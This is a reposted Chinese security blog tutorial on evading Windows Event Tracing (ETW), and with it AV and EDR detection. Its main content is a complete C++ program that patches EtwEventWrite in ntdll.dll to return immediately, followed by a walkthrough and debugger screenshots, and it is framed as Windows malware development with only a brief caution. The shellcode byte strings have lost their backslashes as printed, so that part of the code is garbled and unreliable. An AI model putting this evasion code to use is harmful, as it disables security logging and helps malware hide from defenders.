使用 C++ 实现规避 ETW检测

admin 2024年2月13日22:50:40评论17 views字数 2486阅读8分17秒阅读模式

今天我将向您展示如何使用简单的 C++ 代码来规避 ETW 。

使用 C++ 实现规避 ETW检测

什么是ETW?

好的,所以 ETW 代表 Windows 的事件跟踪。现在,不要让这个名字吓跑你——它本质上是一个工具,可以帮助 Windows 跟踪引擎盖下发生的事情。把它想象成一个超级侦探侦探,不断记下你的电脑所做的每一个小动作。

因此,在科技领域,尤其是在与网络坏人的战斗中,AV 和 EDR 系统将 ETW 用作增压侦探的笔记本。当您的计算机正在执行其操作时,例如运行程序或连接到 Internet,ETW 会悄悄地记录发生的所有事件。

现在,这就是 AV 和 EDR 超级英雄的用武之地。他们使用 ETW 记录的大量信息来捕获您计算机上的任何可疑活动。这就像有一队警惕的守护者通过侦探笔记来发现任何麻烦的迹象。

AV 是防病毒软件的缩写,它依靠 ETW 来监视已知的恶意软件不当行为模式。如果它发现一些与坏人剧本相匹配的可疑东西,它就会像数字超级英雄一样扑上去拯救世界。

另一方面,EDR(端点检测和响应)则更上一层楼。它不仅会寻找通常的嫌疑人,还会分析侦探笔记中是否有任何异常或意外的行为。这就像有一个警惕的保安,他不仅遵守规则手册,而且还留意任何不寻常的事情。

155

使用 C++ 实现规避 ETW检测

因此,简而言之,ETW 就像幕后调查员,而 AV/EDR 是使用这些信息来保护您的计算机免受不断发展的数字威胁世界的守护者。这就像拥有自己的网络超级英雄团队,确保您的计算机保持安全无虞。很酷,对吧?

#include <iostream>#include <Windows.h>

using namespace std;

typedef BOOL(WINAPI* VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);wchar_t sKernel32W[] = { L'k', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', 0x0 };

int DisableETW() {    unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };    VirtualProtect_t VirtualProtectFunction = (VirtualProtect_t)GetProcAddress(GetModuleHandle(sKernel32W), (LPCSTR)sVirtualProtect);    DWORD oldprotect = 0;    unsigned char sEtwEventWrite[] = { 'E', 't', 'w', 'E', 'v', 'e', 'n', 't', 'W', 'r', 'i', 't', 'e', 0x0 };    void* pEventWrite = GetProcAddress(GetModuleHandle(L"ntdll.dll"), (LPCSTR)sEtwEventWrite);    VirtualProtectFunction(pEventWrite, 4096, PAGE_EXECUTE_READWRITE, &oldprotect);

#ifdef _WIN64    memcpy(pEventWrite, "x48x33xc0xc3", 4); // xor rax, rax; ret#else    memcpy(pEventWrite, "x33xc0xc2x14x00", 5); // xor eax, eax; ret 14#endif

    VirtualProtectFunction(pEventWrite, 4096, oldprotect, &oldprotect);    FlushInstructionCache(GetCurrentProcess(), pEventWrite, 4096);    return 0;}



int main() {    cout << "Before ETW Patch";    getchar();    DisableETW();    cout << "After ETW Patch";    getchar();}
  • 目的:该程序的主要目标是禁用 ETW,这是一种用于实时事件跟踪和日志记录的 Windows 功能。
  • 功能性:该程序通过在库中定位函数并改变其行为来实现其目标。EtwEventWritentdll.dll
  • 程序:
  • 它使用函数来获取函数的地址。GetProcAddressEtwEventWrite
  • 修改了函数位置的内存保护,以允许写入。
  • 然后,该函数的开头被有效禁用它的指令替换。EtwEventWrite
  • 恢复原始内存保护,并刷新指令缓存以应用更改。
  • 用法:该程序具有在应用 ETW 修补程序之前和之后显示消息的功能。它会在这些消息之间等待用户输入。main
  • 谨慎:不建议以这种方式修改系统功能用于正常使用。它可能导致不可预测的行为、系统不稳定或安全风险。这种类型的修改通常用于教育目的,使用此类技术时应谨慎行事。

验证

在 ETW 修补之前,EtwEventWrite 函数在调试器中如下所示:

使用 C++ 实现规避 ETW检测

我们按下一些键,结果如下:

使用 C++ 实现规避 ETW检测

现在,当 Windows 尝试创建新事件时,此函数不起作用!

结论

总之,本文提供了有关使用 C++ 代码片段逃避 Windows 事件跟踪 (ETW) 检测的见解。作者介绍了 ETW 的概念,将其比作 Windows 环境中不断监视和记录事件的侦探。重点介绍了防病毒 (AV) 和端点检测和响应 (EDR) 系统作为利用 ETW 信息的网络守护者的作用。

然后,本文深入探讨了一个代码片段,该代码片段旨在通过修补 ntdll.dll 库中的 EtwEventWrite 函数来禁用 ETW。该代码更改内存保护,修改函数,并随后恢复原始状态。一份警示性说明强调了与此类修改相关的潜在风险和道德考虑。

概念证明部分直观地演示了代码对 EtwEventWrite 函数的影响,展示了它在防止创建新事件方面的有效性。

总之,本文通过代码片段将对 ETW 的理论理解与实际实现相结合,让读者一瞥 Windows 恶意软件开发的世界以及逃避 ETW 检测的复杂性。

原文始发于微信公众号(安全狗的自我修养):使用 C++ 实现规避 ETW检测

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月13日22:50:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用 C++ 实现规避 ETW检测https://cn-sec.com/archives/2490566.html

发表评论

匿名网友 填写信息